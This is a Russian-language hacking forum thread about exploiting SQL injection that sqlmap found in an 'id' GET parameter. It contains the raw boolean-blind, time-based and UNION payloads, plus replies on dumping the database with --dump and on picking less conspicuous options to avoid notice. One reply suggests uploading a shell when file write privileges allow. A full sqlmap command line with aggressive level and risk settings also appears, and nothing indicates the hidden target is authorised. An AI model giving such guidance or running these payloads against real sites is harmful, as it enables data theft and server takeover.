Как использовать иньекции которые предоставил sqlmap?

[g00db0y]

Добрый день!
При работе с sqlmap, мне выдало следующее:

Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=56' AND 3243=3243 AND 'VvcY'='VvcY

    Type: AND/OR time-based blind
    Title: MySQL <= 5.0.11 AND time-based blind (heavy query)
    Payload: id=56' AND 7536=BENCHMARK(5000000,MD5(0x48444365)) AND 'FSfa'='FSfa
   
    Type: UNION query
    Title: MySQL UNION query (NULL) - 26 columns
    Payload: id=-6433' UNION ALL SELECT  NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716a6a6b71,0x717a6654616a7250436d4f46594972424768546c65456a425a484a504b6e6362454f6b4d50425851,0x716b6a6a71),NULL,NULL,NULL,NULL,NULL#

Подскажите, как это можно эксплуатировать?

 

[sudo]

Добрый день!
При работе с sqlmap, мне выдало следующее:

Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=56' AND 3243=3243 AND 'VvcY'='VvcY

    Type: AND/OR time-based blind
    Title: MySQL <= 5.0.11 AND time-based blind (heavy query)
    Payload: id=56' AND 7536=BENCHMARK(5000000,MD5(0x48444365)) AND 'FSfa'='FSfa
  
    Type: UNION query
    Title: MySQL UNION query (NULL) - 26 columns
    Payload: id=-6433' UNION ALL SELECT  NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716a6a6b71,0x717a6654616a7250436d4f46594972424768546c65456a425a484a504b6e6362454f6b4d50425851,0x716b6a6a71),NULL,NULL,NULL,NULL,NULL#

Подскажите, как это можно эксплуатировать?

Например подставить значение поля payload в url?

 

[g00db0y]

Например подставить значение поля payload в url?

вставлял, и добавлял GROUP BY, UNION SELECT, и прочее, ничего не помогло

 

[sudo]

вставлял, и добавлял GROUP BY, UNION SELECT, и прочее, ничего не помогло

Значит прога ошиблась и пейлоады оказались нерабочими. Логично?

 

[g00db0y]

Значит прога ошиблась и пейлоады оказались нерабочими. Логично?

А ведь логично, спасибо!

 

[jess_hide]

А зачем тебе в урл добавлять, раскрути sqlmap там же есть специальная функция, почитай help

 

[Iskus]

сразу берешь и добавляешь --dump, если он раскрутит уязвимость, сразу тебе и дамп сделает если сможет

 

[pr0phet]

сразу берешь и добавляешь --dump, если он раскрутит уязвимость, сразу тебе и дамп сделает если сможет

Я обычно добавляю что-то типа --current-user. Менее палево, нежели делать вероятно ненужный дамп. Лучше руками побегать по таблицам посмотреть что есть. Если filepriv позволяет писать файлы - заливаем шелл - дампим базу не селектами. (сценарий из разряда "как в сказке ")

 

[qnit]

Parameter: id (GET)


sqlmap.py -u "

Ссылка скрыта от гостей

" --level 3 --risk 3 --threads 10 --is-dba --dbs --random-agent

 

[pr0phet]

Parameter: id (GET)


sqlmap.py -u "

Ссылка скрыта от гостей

" --level 3 --risk 3 --threads 10 --is-dba --dbs --random-agent

Звездочку только не надо в конце.

 

[qnit]

Звездочку только не надо в конце.

тогда --level 3 --risk 3 --threads 10 --is-dba --dbs --random-agent -p id

 

[leonardocs]

тогда --level 3 --risk 3 --threads 10 --is-dba --dbs --random-agent -p id

извините за идиотский вопрос, но из-за 10 потоков шанс улететь в блок увеличивается?

 

[AryaStark]

извините за идиотский вопрос, но из-за 10 потоков шанс улететь в блок увеличивается?

В блок не уйдешь, но мап сам напишет если 10 много и нужно уменшить потоки.